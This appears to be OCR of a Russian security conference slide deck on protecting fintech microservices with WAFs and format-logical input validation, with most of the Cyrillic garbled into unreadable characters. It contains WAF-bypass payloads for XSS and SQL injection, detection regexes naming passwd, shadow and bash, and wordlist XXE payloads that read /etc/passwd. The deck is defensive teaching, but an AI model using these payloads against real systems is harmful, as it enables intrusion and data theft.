2, PycKpunTo

E)xxerofgHasi MeXXayHapoaHas Hay4yHO-npaKTuueckasa koHdepeHuums

¢ »

POpMaATHO-NOrMYECKMNIA KOHTPOb,
KaK OCHOBa 6e30nNacHOCTU MUKPOCEpPBUCOB




Coaep>xaHue

- Yrpo3bl b, cornacHo OWASP;

- 3apgauu 3noyMbILWIIEHHUKA, 06X04 curHaTyp n MetToabl obxoaa,
- 3aBucumocTun ClaimRate ot FalsePositive;

- CyTb 1 meToabl OPMAaTHO-ITOMMYECKOro KOHTPONS;

- MeToabl 3aluThl OT aTak Ha MUKPOCEPBUCHI B OpraHn3auusx;
- OcobeHHocTn npumeHeHuns OJIK n WAF B Fintech;

- ccnepoBaHne adppekTUBHOCTN MHCTPYMEHTOB U METO0B;

- 3aKkno4yeHne 1 BbIBOAbI.
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Yrpo3bl (no OWASP)

Open Web Application Security Project (OWASP) — 3T0O OTKpbITbIN

NPoeKT obecneyeHns 6e3onacHOCTN BEG-NPUNOXKEHNN

OWASP Top 10: @ULUFISR

WWW.ruscrypto.ru

NHbekumm (Injections).

HapyweHHas ayteHTudumkaums (Broken Authentication).

PackpblTne Kputnyeckn BaxHbolx AaHHbIX (Sensitive Data Exposure).

BHewHne o6bekTbl XML (XXE) (XML External Entities (XXE)).

HapyLeHHbIM kKOHTponb goctyna (Broken Access control).

HenpasunbHas koHdurypaumnsa 6esonacHoctn (Security misconfigurations).

MexcantoBbin ckpunTuHr (XSS) (Cross Site Scripting (XSS)).

HebesonacHas gecepuanunsauma (Insecure Deserialization).

cnonb3oBaHMe KOMMNOHEHTOB C n3BeCTHbIMK ysa3BuMocTsMu (Using Components with known
vulnerabilities).

HepocTtaTo4HOo noapobHble XypHarbl 1 cnadbin MoHUTOPUHT (Insufficient logging and monitoring).




OnpepeneHne WAF

Paunpson Beb-npunoxeHnn ( Web application firewall, WAF)
— COBOKYMNHOCTb MOHUTOPOB 1 (PUMLTPOB, NpeaHa3Ha4YeHHbIX
Anst obHapyXeHns 1 6noKMpPOBKM CETEBLIX aTak Ha Beb-

NPUNOXeHne. \9
I -

& I o
WAF - 370 pelwleHne ans punsrpaunm n 6rnokMpoBKu A LT o
BpeaoHOCHoro Tpaduka Ha Beb-cepBucax. —
lpumepsbi peweHut WAF: )
CloudFlare, AWS, Citrix, Akamai, Radware, Microsoft Azure, v

Barracuda, Sucuri, PT Application Firewall, Nemesida WAF,
InfoWatch Attack Killer, ModSecurity, NAXSI, WebKnight,
Coraza, Shadow Daemon, Lua-resty-waf, Vulture, IronBee,
open-appsec, bunkerweb, janusec, OpenWAF
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MeTtoabl WAF

— PerynsapHble BblpaxeHusax (RegExp)

— Habop npasun (Hanpumep, OWASP
ModSecurity Core Rule Set (CRS));

— [lpumeHeHne meTogoB MaLLUNUHHOIO
— 0byyeHuns;

TpeTse NoKoneHuwe

BrTopoe nokoneHwue

Mepeoe NokKoNeHme

PerynapHbie BbIPaXeHis

KonTekcTHo-ceobogHbie
PErynapHBIE BeIPareHns

HKOHTEKCTHO-3aBHMCHMBbIE DerynAapHbIS
BbiparkKeH1sA

PexypcrBHan rpaMmmatTMka

WWW.ruscrypto.ru

CRS Project

The first line of defense

A9l followers ¢ hitpsi/icoreruleset.org X @CoreRuleSet

o)

(@ Overview [ Repositories 38 B Projects @ Packages R People 10

Pinned
(] coreruleset | Public ] modsecurity-crs-docker | Public
OWASP CRS (Official Repository) Official ModSecurity Docker + Core Rule Set (CRS) images
@fython  T¥ 19k %329 @®shel Y190 %56

PL 1: Baseline Security with a minimal need to tune away false positives. This is CRS for everybody
running an HTTP server on the internet. If you encounter a false positive on a PL 1 system, please
report it via GitHub.

PL 2: Rules that are adequate when real customer data is involved. Perhaps an off-the-shelf online

shop. Expect false positives and learn how to tune them away.

PL 3: Online banking level security with lots of false positives. From a project perspective, false
positives are accepted here, so you need to be able to help yourself by writing rule exclusions.
e PL 4: Rules that are so strong (or paranoid) they are adequate to protect the crown jewels. Use at

your own risk and be prepared to get a large number of false positives.




3a4a4yn 310yMbILLIEHHUKA

OnpeﬂeneHMe TMna WAF Sorry, you haye been blocked
xploit.in/?p4yl04d3=<script>alert(document.cookie)</script>. e

HTTP Response MOXeT oTniM4atbCs OT OXXuaaemoro Asis nocewaemMomn CTpaHmubl.

WAF MOXeT BEpHYTb CBOK COBCTBEHHYO BED-CTpaHuLy, NnogobHy0 NpuBegeHHON Q

HWXe, NMB0o e OPpYron KO4 COCTOsIHUS cepBepa, 06bl4HO B AnanasoHe 400.

LEJIb: Onpenenenuve tvna WAF no3Bonset NpuMeHATb Heobxoanmble MeToabl 4N Why have | been blocked? R R
obxoaa 3awmnThbl, BKNtovasi n3sectHole CVE. -

Kak npasuno - 403 cTtatyc oTBeTa Ewe npusHaku:

— Wmsa WAF moxeT ObITb B 3aronioBkax oTBeTa Hanpumep:

Responses (Server: OpenWAF)
»|HTTP/1.1 403 Forbidden — [HononHuTenbHble 3aronoBkn oteetoB HTTP, cBs3aHHble C
Server: Apache WAF, Hanpumep: (WF-RAY: XXXXXXXXXXX)
Content-Type: text/html; charset=iso-8859-1 _ . . _ .
Date: Wed, 10 Aug 2016 09:23:25 GMT napaM_eprl COOkIe’ HaanMep' (Set COOkIe'
Keep-Alive: timeout=5, max=1000 _CdeId=XXXXX)
Connection: Keep-Alive — YHUKanbHbIN KOO OTBETA NPU OTNPaBKe BPEOOHOCHbLIX

Age: 3464 3anpocos, Hanpumep: (412)
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O6xon curHatyp WAF

5 wafwl0f example.com

GraphQL, gRPC, WebSockets, SOAP, XMLRPC, and others.

GoTestWAF
@ 0 w H S p GoTestWAF is a tool for API and OWASP attack simulation that supperts a wide range of API protocols including REST,
L]

It was designed to evaluate web application security solutions, such as API security proxies, Web Application Firewalls,
IPS, AP gateways, and others.

SQL Injection — Basic Concepts

There are two types of SQL Injection

WWW.ruscrypto.ru

WAF Bypass Tool

WAF bypass Tool is an open source tool to analyze the securi
using predefined and customizable payloads. Check your W2
by Nemesida WAF team with the participation of community

Exclude d

User-Agent: Mozilla/5.8 [Macintosh; Intel Mac

i
[
!
#
#
#
L
#
L

=

@ pentestit-team 17 aus 2023 8 07 44

Tectupyem Web Application Firewall




O6xon WAF ¢ noMoLLbo MeToA0B MalUMHHOIMo 0byyeHns (ML)

WafBrain

ML-Based-WAF

ML-Based-WAF

ML-Based-WAF

Token-based

Token-based

Token-based

Token-based

SQLIGoT - Directed Proportional
SQLIGoT - Directed Unproportional
SQLIGoT - Undirected Proportional

SQLiIGoT - Undirected Unproportional

1 admin' OR 1=14#

2 admin’' OR 2X1=1 eor 8x726!=20x726 OR @x1Dd

anD TRUE anD '=0U"

Recurrent Meural Network

Non-Linear SVM WAF-A-MoLE: Evading Web Application Firewalls through

Adversarial Machine Learning
Stochastic Gradient Descent

Luca Demetrio Andrea Valenza
luca.demetrio@dibris.unige.it andrea.valenza@dibris.unige.it
AdaBoost Universita di Genova Universita di Genova
. Gabriele Costa Giovanni Lagorio
MNaive B dy'es gabriele.costa@imtlucca.it giovanni.lagorio@unige.it
IMT School for Advanced Studies Lucca Universita di Genova

Random Forest

WAF-A-MolLE

Linear SV
A guided mutation-based fuzzer for ML-based Web Application Firewalls, inspired by AFL and based on the
Gaussian SVM FuzzingBook by Andreas Zeller et al.
. Given an input SQL injection query, it tries to produce a semantic invariant query that is able to bypass the target
Gaussian SVM P = query. It P query yp get
WAF. You can use this tool for assessing the robustness of your product by letting WAF-A-MolLE explore the solution
2 space to find dangerous "blind spots” left uncovered by the target classifier.
Gaussian SVM P 9 P Y d

Gaussian SVM

Gaussian SVM Architecture

(Pns1>0n41)

not IN/=(seleCt @X@)>c*Bi>Nl=/ ((SeLeCT (po.o0) N CTTTTTTTTTTTT '
476} ,(SELECT (SElEct 477)) .8X1de) oR E— 111 " Target !
8388 noT 1TKE 83@88\.x@c AnD truE OR ° (p*.6™) Friority quoue — . WAF |

FZ6/s9q°" LiKE 'fz&6/qgl'’
= '"Fuz'#LTXT@3;Nd

Pool Fuzzer
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MeToabl 06xona WAF

— MWzmenenne peructpa cumBoios: <sCrlpT>alert(XSS)</sCriPt>

— Jlob6aBnenwue 3HakoB: <<script>alert(XSS)</script>, <iframe src=http://malicous.com <

— Momudukanus Harpy3ku: <script>alert(XSS)

— V3menenne cuMBOIIOB: <script>alert' XSS </script>

— H3menenne koqupoBok: java%0ascript:alert(1) #using encoded newline characters

— Wsmenenne tunos: <STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE>

— Vnmanenue npobenos: <img/src=1/onerror=alert(0)>

— IlepenonHenue: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a>,
7page id=null%0A/**//*150000%55nI0n*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4....

— 3amena ¢ynkuuit: Function("ale"+"rt(1)")(); , new Function'alt\'6\"";

— Komuposanwue: javascript:74163166147401571561541571411447514115414516216450615176,

— data:text/html;base64,PHN2Zy9vbmxvY WQ9Y WxlcnQoMik+, %26%2397;lert(1)

— Jlo6baBnenue kommenTapuen: /?id=1+un/**/ion+sel/**/ect+1,2,3--

— Ilepexonsr: <a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0AT%0A1%0Ap%0At%0A%3 Aconfirm(XSS)">

_ . 1440 Keodo 09 A=
Hecranmaprasie ganasie: <BODY onload!#$%&()*~+- ..:;?@][/|\]"'=confirm()> — o6xon

— O0¢yckamms: <%s%cr%u0131pt> == <script>, /pathl/path2/ == ;/pathl;foo/path2;bar/;  (raas) %620a%20
http hTtP
a.*b a%0Ab
(a+)+ aaaaaaaaaaaaaaaaaaaa!
ATaKkn Ha perynspHble BblpaXXeHna: =05 \ aaaaaa (6 times)
[A-z] = [a-zA-Z] + \]™_ aaa[\]"_"aaa
a[™Mn]*$ a\n? a\r?
a'\s+\d a’b
a\s(not[whitespace]|and)\sb anotb
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CtpykTypa HTTP 3anpoca. BapmaHTbl pa3MeLleHns None3Hon Harpy3kum
(payloads)

APJ-byHKLMS MapameTpbl 3HauyeHUss NnapameTposB MNpoToKkon, Bepcuu

N "~

GET /se:vice/api/v:/product/send”param1=abc&param: 123 |HTTP/2
HostT WUV. gazpronbank. Lo

Cookie: cookie_pl=170023901; [cookie p2=DEADBEAFf token= 3HaueHua Cookie
adasdah97823hh0dj023hd23jd8yhS32hSdgh87¢g923 ghS9dhZ398h9dgh2873gd97¢ghS3298d3yh290h928398
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";w="112"
3aronosKku Sec-Ch-Ua-Mobile: 20
User-Agent: Mozilla/5.0 (Windows NT 110.0; Winl4; x14) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.5615.50 Safari/537.36
Sec-Ch-Ua-Platform: |"Windows" |
Accept: */*
Sec-Fetch-5ite: same-origin
Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script MapameTpbl B

Referer: https://wwv.gazprombank.ru/service/api/v2/product?paraml=abcéparam2=123
Accept-Encoding: gzip, deflate 3Ha4YeHUAX
Accept-Language: en-US,en;[=0.9 3aro/10BKOB
/ €"data":| "p_1", }'product_l": "credit", "transfer'": 9898.22, "account": "543232231232215555"}
NaHHble / \
HTTP
dJOpMETbI AOaHHbIX
(SOAP, JSON, text...)

WWW.ruscrypto.ru

> 3Ha4YeHMA 3aro/I0BKOB

MapameTpbl 4aHHbIX




BapuaHT opraH13aummM MMKPOCEPBUCHOW apXUTEKTYPb!

CermeHT 1 (EXT-DMZ) / -

WWW.ruscrypto.ru




MpumeHeHnss WAF B 3aBUcMMOCTM OT ocobeHHocTen UC

e
Cloud Services Cucrema 3 .
| war B ) | a

WAF
CermeHT 1 (EXT-DMZ) | — L _[/ —
. CermeHT 2 (INT) i
crema 2 ! :
i Cuctema 4 //
— i
— @
! | {T———
oy ]
— ; e
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['pacumk. 3aBncmumocTb ClaimRate ot FalsePositive (FP)

CR

INpumep*

NPUEELINE

FP
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dopMaTHO-Nornyecknin KoHTponb (PJ1K)

np06neM bl: public boolean isCyrillic(String s) {
boolean result = false;
for (char a : s.toCharArray()) {
if (Character.UnicodeBlock.of(a) == Character.UnicodeBlock.CYRILLIC) {

- He cywecTtByeT obLiero et = ieemute;
CTaH4apTU30BaAHHOIO I

onpenenexuns ®JIK B pamkax NB; y T

- @JIK y3Ko onpenerneH B pasHbix Mposepka NHH
opraHn3auusx B Dot kospoma by

s 10-aHa4HOr0 VIHH, NPUCRAURAGMOTO OPUMHECKOMY MUY, KOHTPOMLH:

3aBMCM MOCTM OT 3a|qaq M 6M3Heca; nie = ((2n1 + 4ns + 1003 + 3ny + 5ng + 9ng + 4nr + 6ng + 8ng) mod 11) mod 10
ONbHBLIMK ABNSIOTCA NOcNeaHWe ABe Undpbl:

Onsa 12-3Ha4Horo MHH, npyceanBaemMoro husam4eckomMy NnuLly, KOHTP
((7r1 + 2ny + 4ng + 10n4 + 315 + 5ng + 9ng + 4dng + 6ng + 8nyp) mod 11) mod 10
((3m1 + Tno + 2na + 4na + 10ns + 3ne + 5n7 + 9ns + 4ne + 6110 + 8n11) mod 11) mod 10

o1 ABNAETCS NocneaHss, Aecatas umdpa:

Npepnaraetcsa ncnonb3oBatb metog PJIK
ans 3agad MHdbopmMaunoHHon 6e3onacHocTy,
KakK oTaernbHbIW Knacc peweHun b
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Mpumep TpeboBaHun (He MB) K pa3paboTke GyHKUMA MUKPOCEPBUCOB

HOp. nuuo -

"OI'PH - ogrn

By s

OI'PH

Iudgposoii kom, 13 3uakos. Toaeko apabekue undpel. C  nocneaHum

legalperson OPraHH3all | KOHTPOJBHEIM YHCIOM.
HH |
FOp. nuuo - HMHH - inn HHH [udpopoii kox, 10 3HakoB. Tombko apabekde wudpsl. C  MOCHEIHHM |
legalperson KOHTPOJBHBIM YHCIOM. :
[Mpasmnanuy - Hms - Hma CrnoBo MM HECKOJBKO CJIOB HA KMPWLIMLE, pasje/leHHbIX npodeiioM WK
| citizen firstname Aeducom. Kaxoe clioBo Ha4HHAETCA C 3arJaBHoH OyKBBI.
I'pasknanmH - Pamunua - | Camuana ClnoBo HIH HECKOJBKO C/IOB HAa KMPHIIHIlE, pasflefleHHBIX NpoOenoM HIH
citizen surname netucoM. Kaxmnoe cioBo HAUHHASTCS C 3ar/1aBHO OYKBLL
I'pasknanuu - Oryecso - OryectBo | CnoBo HIIM HECKOJNBKO CIOB Ha KHPHIIHIE, pa3felleHHbIX NpobenoM WM
| citizen patronymic nedurcom. Kanioe ¢/ioBO HAaYMHAETCH C 3arnaBHOH OYKBBL.
! I'pasknasuH - o - Sex CHMBOJ, IPUHHMAIOWMHA 3HadeHHe "M’ — myxckoil, ‘F’ - seHCcKUH
| citizen
" JIOKyMEHTBI Cepus Yeroipex3HauHblid qudposoi ko, Toneko apabekue ungph.
rpakJaHHHa — nacnopra i
citizen_doc PD '
JIOKYMEHTEI Homep HlecTusHaunsii uudposoii koa. Tonsko apabckue UHOPHI.
rpaxaaHHHa — macnopta
citizen_doc Pd
JIOKYMEHThI CHHJIC upposoii koa, Tonexo apabckue nudpbl. @opmar 00000000000. [se
rpaxJiaHHHa — nocaeJHHX UHGPBI — KOHTPOIBHOE HYHCIO.
citizen doc
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IIpaenuna

I8 3arOIOBKOE .
Pabota cTporo ¢
OMpefeTHHEIM
MHOMECTEOM
User-Agent

[TpMeHeHne OJIK ana MmkpocepBuUCOB

Crmncox API dveenii
Ipaewmna gna

aueHnii Coolde

Pretty Raw Hex B \n =

[0

1 POST|/document/save| HTTE/ 1.1

Z Host: lImicroservice.zzabank.ru

3 Cookie: 1P_l=I0Z4-0IZ-24-10; AES4&&3NUQZSvsyoVanasedasd3SZEAHDUL 1ID=51

4 Sec—Ch-TUa-Mcochile: 20

S{User—Agent: [Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36& (KHTML, like Gecko)
Chromes/112.0.5£15.50 Safari/537.3¢6

o Sec—-Ch-TUa-Flatform: "Windows'

7 Ageept:| Json OrpaHudesna mno

¥-Client-Data: CEiddsdsywE= ¢OpmaTVﬂaHHbm

Jec-Fetch-3ite: same-site -

WO -

10 Sec-Fetch-Mode: no-cors

1 Accept-Languages: ru-RUS, en;q=0.9
Z Connection: close Crmcox paspemeHHBIX SHAYEHHI Oad ImapaMeTpoE

3
2 Tonpro pumcrrte tmbper anuHoi 10 cuMeoIoR
rdata’ | "save", kPJ__f__F__FH_,d_FH—Ff—”*__fd_F

15 "passport"ﬂ"4022333333",
16 "address"

frym. Mywsuna, n. Sarmymeuma, =s. 117, F——— [ AS|,[.|-|. smma)] mwm cnpagounik anpecos

"inn"4"44445555EEEE"L“_“_“————_—m—ﬁ____%_ﬁ____h_ﬂ_q_
¥ Tonsko pumckne umdpst 1 anmnHa & quarazode 10-12 cumeonor

MarcHMansHOE KOMHYECTEO [1apaMeTPOE ., CITMCKH
paspeeHHEIX [TAPaMeTPOE ., MX IJIHHEI,
0coDEHHOCTH COIMACHO CIISLTMGHEALIIM

=]

T I)
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[MoueMy bopmaTHO-normyeckum KoHTponb (PJIK) HyxxeH

MNMpo6nembl. Korga WAF He cnpaBuTcs.

— LWundposaHue napametpos, Encrypt (AES, 3DES, Blowfish, RC5 u 1.4.)
— KoagunposaHune napametpos (Base64, URLEncoding, Cepnanusauus, Knpunnuua)
— HectaHpapTHble npeobpasoBaHus (KoanposaHue, Tabnuubl 3ameH)

© To encode binaries (like images, documents, etc.) use the file upload form a little further down on this POST /apps/details HTTE/L.1
Host: 1I23fddfs3£3232f£32.com
Sec—-Ch-Ta: "MNot:A-Brand";w="299", "Chromium";w="112"
LF (Unix) ~ Destinafion newline separator. Qep—Ch-Ta-Mohile: 70
Sec—-Ch-TUa-Platform: "Windows"
Upgrade-Insecure-Fequests: 1

Split lines into 78 character wide chunks {useful for MIME). User-Agent: Mozil 1a/5.0 (Vindows NT 10.0; Wing4; x&4)
@ Live mode OFF Encodes in real-time as you type or paste (supports only the UTF-5 character: App leWebKit/537.3¢6 (EKHTHL, like Gecko)

Chrome/51212.0.5625.50 Safari/537.3¢

y 2 S ele o BN Encodes your data into the area below. Aoccept-Language: en-TUS,en;qg=0.9
Connection: close

%00W%00h%00e%00n%00%20%00W3%600A%00F %005%00%20%00a%00r3600e%00%20 %0 O R papap iy ngth: 105
0%00i%00s%00%20%00n%000%001t%00%20%00m%00u%00c%00h%00%20%00t%00i%00mS]
0%20%00T%000%00%20%00m%00u%00c%00h%00%20%00w%000%00r%00k%00 dat

ata=

VIhlbiBXQUIzIGFyISEleHEsLIJ1lECERdCEpeyEwb I QbW ijaCEOawlll
GZveciBEsaWZlLiEThyELdWlio IHdvemsulA==stag=123 srusscrypto=
thebest

WWW.ruscrypto.ru

Windows-1251 ~ Destinafion character set.

Encode each line separately (useful for when you have multiple entries).




.
[TpaBuna GJIK

B 3aBucumocTun ot 3agav MUKpoOcCepBuUcCa, npaBusia MoryT cogepxatb:

1) TMpoBepky Ha TuUMbI;

2) lNpoBepKy cocTaBa cooOLLeHMsI Ha Hanudne obasatenbHbIX MONen N HeJOKYMEHTUPOBAHHLIX B crneumdukauum cepemca nonewu;
3) lMpoBepky MakcMManbHOM U MUHMMASTbHOW ANNH Nosien 3anpoca 1 3HavyeHnin nonen coobLleHns;

4) TNpoBepKy coaep>XMmoro nosnen sanpoca Ha npeameT COOTBETCTBUSA AONYCTUMbIM 3HAYEHUAM U andyaBuTam, KOTopble

yKasaHbl B cneyndukaumm cepsuca, 1 oTCyTCTBUA HEAOMYCTUMbIX 3HaYEHUIN/CUMBOSIOB;

5) lMNMpumeHeHne «b6enblx CIMCKOB» N «4ePHbIX CMIMCKOBY» K MOMsIM COOBLLIEHNN. . . e
String regex = "[a-ABA-AE]+";

String str = "Pabota He walk - pabota work";
Pattern pattern = Pattern.compile(regex);
Matcher m = pattern.matcher(str);
if (m.find()){

//nenaem yTo-TO

Mpumep ana XML-coo6weHunn (SOAP):

1) lMpoBepka MmakcMmasnbHOW rNyOUHbI BIOXEHHOCTU 31IEMEHTOB.
2) lNpoBepka makcmanbHoro konuyectsa XML-atpubyTos.

3) lNpoBepka makcumarbHoro pasmepa atpndytoB XML-coobLeHus. }

4) lNMpoBepka Hannumsa BHeLHUX ccbinok/IP-agpecos B coobLieHnn. (aktyansHo ana XXE artak)
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[1paBuna OJIK

NMpumeHeHMe perynspHbIX BblpaXeHUU Ans noumcka aecpekros Ub

Blind SQL: (sleep\(.*\)|waitfor|delay).*(\#|\'|\"|--)

SQL LIKE % Match: ('|")[\s]*[\%]+

SQL escape sequence: [\s]*(\;|\+|\*|\=)+

MS SQL Commands: (exec)(\(| )

SQL Metacharacter:
(lunion[\s](Jall)|;)[\s]+(abort|analyze|begin|audit|checkpoint|close|comment|commit|copy|create|declare|delete|drop
|end|execute|fetch|move|noaudit|reindex|rename|reset|revoke|select|set|show|shutdown|start|truncate|unlisten|update)
Oracle Overflow: \b(tz_offset|to_timestamp_tz|bfilename)\b

SQL Logic: (\w*.=.*\w*[\s]*-)

XML\XXE:
(?<![<\[CDATA\[*\{2,}])(?i)(.fooliso|..entity|entity|xxe|datafldsystem|\Wsrc\W/|script|<script|root|alert[*\)]|robots\.|methodcall|
methodname|base64|exec|upload|bash|\Wsh\W|shadow|passwd|etc|encode|xerosecurity|crowdshield|java.|\")(?["\[*\[]*])
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MeToabl 1 pelleHns Ans 3aWnTbl AaHHbIX (BannaaTopbl, CAHUTAWU3WUHI)

— OpenAPI

— PeweHunsa API Security
— Pydantic

— FastAPI,

— Cerberus,
— Voluptuous,

— Marshmallow T

- - int( lt, indent=2)
OWASP API Security Project i e o soviens
# 'release_date': '1971-12-17"',
# 'title': 'Hunky Dory'}

from pydantic import BaseModel

class User(BaseModel):
username: str
age: int

email: str

password: str

bowie = dict(name="David Bowie")
album = dict(artist=bowie, title="Hunky Dory", release_date=date(1971, 12, 17))

>>> v = Validator({'name': {'type': 'string'}})
>>> v.validate({'name': 'john doe'})
True

[0 README  &[& Apache-2.0 license

build | passing | npm v1.16.3 chat |on gitter | commitizen friendly | CLAs signed 43
>>> Ffrom wvoluptuous import Schema

>>> schema = Schema({ OpenAPl Va|idat0r

'q': str,

"per_page': -1int,

"page': “dint, The IBM OpenAP| Validater lets you validate OpenAPI 3.0.x and OpenAP| 3.1.x documents for compliance with the
- 3B OpenAPI specifications, as well as IBM-defined best practices.
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Icnonb30BaHMe CTOPOHHUX PELLEHUI NP pa3paboTke

<'l> | 1ibInjection

. . public class Main { L;I
#include <stdio.h>
#include <strings.h>
CANITE QOFFRDLGE public static void main(String[] args) {
#include "libinjection.h" /* test a string ¥/
#include "libinjection_sqli.h" Libinjection & = new Libinjection();

boolean issqli = a.libinjection_sqli("admin' OR 1=1--");
int main(int argc, const char* argv[])

{ System.out.println(issqli);
struct libinjection_sqli_state state;
int issqgli; [* test a file and output its results to another file, with options to urldecode and time (in m
Test t = new Test();
const char* input = argv[1]; t.testfile("data/sqli.txt", "data/resultsfile”, true, false);

size_t slen = strlen(input);
/* in real-world, you would url-decode the input, etc */ }

libinjection_sqli_init(&state, input, slen, FLAG_NONE);
issqli = libinjection_is_sqgli(&state);
if (issqli) {
fprintf(stderr, "sqli detected with fingerprint of '%s'\n", state.fingerprint);
¥

return issqli;
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Bornpochkl K ®JIK

- TpebyeTtca paspaboTka NPUMEHUTESTBHO
K Kaxxgonm busHec-noruke. Paspabotymk
OOMMKEH 3HaTb CyTb OM3HeC-3agauu;

- BoamMoxHa HU3Kad npon3soanTeESIbHOCTb, HO €CJ1n

peanusoBaTb BHyTpPM caMoro cepsuca?
- CmoxeT nn PJIK nokpbITh BCE YA3BUMOCTH
BusHec nornkn?

Ileperoa 100 pyo.ieit apyry 3a oden:

{ send: "100", cur: "RUB" }
310yMBIILIeHHAK:

{ send: "100", cur: "USD" }

A ecnu ¢paun?

POST /json HTTP/Z

Host: ru.l23.microssrvice

Cookie: PHPSESSID=ksurompSfpeugoal5i3mpsd49c

Content-Length: 487

Sec—Ch-Ta: "Not:A-Brand":v="99", "Chromium";v="112"

Accept: application/Json

Content-Type: multipart/form-data; boundary: WebEitFormBoundar yBhenyQZECTNs 1wEw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x£4) AppleWebKit/537.36 (KHTHL, like Gecko)
Chrome/ 112 .0.5615.50 Safari/537.36

Sec—Ch-Ua-Platform: "Windows”

Accept-Encoding: gzip, deflate

hecept-Language: en-US,en;q=0.9

777777 WebKitFormBoundar yBhenyQZECTNS LWEU
Content-Dispesition: form-data; name="source”; filename=
Content-Type: image/Jpeg

avatar-cOabcS7cEalllhd0iz3i3ceTcl7eTazl95. pa”
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0O00YD+020) Dgu ) v0 :00W>0Q’ 0 Tmudd TOO £0 100000000000 -0p0030m=00PY! : ONS0200 20000, 0R0 W00 %+, w900 ¥ Y00 000000/ 00d00
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—————— VebEitFormBoundaryBhenyQZECTNs LwEu

Content-Disposition: form-data; name="type"

—————— WebKitFormBoundar yBhenyQZECTHs lwEu
Contenc-Disposition: form-data; name="action"

up load
---———VebEitFormBoundaryBhenyQZECTNs lwEu
Content-Disposition: form-data; name="timestamp"

1708885350106
—————— WebKitFormBoundar yBhenyQZECTHs lwEu
Content-Disposition: form-data; name="auth token'

327123bbbbaaaaffg4zcaboites0
—————— WebKitFormBoundar yBhenyQZECTNs LwEu-—
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[TpumeHeHne WAF BMecTe ¢ OJIK

Cloud Services

pa— |
ermeHT ¥

(EXT e — )

/ __________________________________________________

i CermeHT 2 (INT)

Cuctema 4
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[nckyccns

1) MpumeHeHue metoaoB PJIK u WAF B coBOKYNHOCTM - byaer

2) obecne4vmBaTtb 6oree nosiHoe NokpbIiTUE nNposepkamn b, HO HECET PUCKY;
2) He cywectByeT 06X Unmn nssecTtHblx metogos obxona PJIK

(6e3 3HaHuKn o npaBunax PJIK nnm cucrteme);

3) Dopabotka WAF - gonro u goporo. He rnbko.

B KpeanTHO-(hMHAHCOBbLIX UNN roc. opraHmnsauusax gaxe OAHO
NoXHo-nonoxuTtenbHoe cpabarbiBaHne moxeT 66T CRITICAL!

TpebyeTca paccMoTpeTb MeToa (punbTpaunn/6y10KUPOBKU
AaHHbIX Ha ypoBHe 10
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ccnepoBaHue

3apava:

1) UccnepoBaTb BO3MOXHOCTb MPUMEHEeHUs1 6erbIX CNTMCKOB B COYeTaHUU ¢
2) chopMaTHO-NOrMY4ECKUM KOHTPOSEM BXOAHbIX AaHHbIX ¢ y4yéTom WAF;

3) UccnepoBaTb BO3MOXHOCTb NPpUMEHEeHUA 6enbiX CMUCKOB B COYeTaHUU C
4) cpopmMaTHO-NOrMY4ECKUM KOHTpPOSieM BXOAHbIX AaHHbIX 6e3 yyéta WAF;

5) UccnepoBaTb BO3MOXHOCTb NpUMeHeHUus 6enbix cnuckoB u PJIK,

6) pa3paboTtaTtb MeToAbl hunbTpaunn/6noknpoBkKn Ha ypoBHe [10;
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Ob6beKkTbl UccnenoBaHUs

ModSecurity https://github.com/owasp-modsecurity/ModSecurity Web Application
NAXSI https://github.com/nbs-system/naxsi Firewall

WebKnight https://www.aqtronix.com/ - -

Coraza https://github.com/corazawaf/coraza
Shadow Daemon https://github.com/zecure/shadowd | - - |

Lua-resty-waf https://github.com/pOprOck5/lua-resty-waf

Vulture (OS) https://vultureproject.github.io/

IronBee https://github.com/ironbee/ironbee/ (He nogaep>xxmBaeTca)
9) open-appsec WAF https://github.com/openappsec/openappsec
10) bunkerweb https://github.com/bunkerity/bunkerweb

11) janusec https://github.com/Janusec/janusec

12) OpenWAF https://github.com/titansec/OpenWAF

O~NO O WN -
N N N N N N '

dJIK + ®dyHKkuma B cocTase MO
npoBepKu rno 6enomy

1) PerynsipHbie BbipaxeHusi CMUCKY + Npasuna

2) MpaBuna ®JIK NMpumeHuTenbHO
K MUKpoOcepBUcy

Validator()
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https://vultureproject.github.io/
https://github.com/bunkerity/bunkerweb

Bblibop TeCcToBbIX AaHHbIX

1) Cnuncok (wordlist) ¢ TMNoBbIMM Nosie3HbIMKU Harpyskamu (payloads);

° kkryptOnn chore: Automatic README.md file update with accurate wordlists [skip ci]

B github

B tools

B wordlists

[3 gitattributes

B CONTRIBUTING.md

[ README.md

1 README

A collection of wordlists for many different usages. They are sorted by the

File

chore: Update FUNDING.yml

Edit

ﬁ waordlist.bet - Notepad

Format  View Help

chore: Order the wordlists alphab: !@#$%%A#$%#$@#$%$$@#$%Anss ( ( )
| 40% H0#018387E0 =5 ( ()

chore: TLDs list update of 2024-0: ™

Fixed the language to be written : ™

chore: Typo in contributing guidel »

chore: Automatic README.md file w

or
or
or
or
or
or

"a"="a
"x"="x

0-0 #

8-0 --

1=1 or ""="
1=1--

or 1 --'"
") or ("a"="a
"¢?xml version=""1.0""
"¢?xml version=""1.0""
"¢?xml version=""1.0""

encoding=""I50-8859-1""2><IDOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////dev/random"">]><foo>&
encoding=""I50-8859-1""2><IDOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/passwd"">]><foo>&
encoding=""I50-8859-1""2><foo><! [COATA[" or 1=1 or "'=']]»</foo>"

Wordlists "¢2uml version=""1.8"" encoding=""I50-8859-1""2><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert( "XS5");<! [COATA[<]]>/SCRIPT<! [CDATA[>]]></
"¢HTML xmlns:xss><?import namespace=""xss"" implementation=""http://ha.ckers.org/xss.htc""><xs55:x55>X55¢/xs5:x55></HTML>"
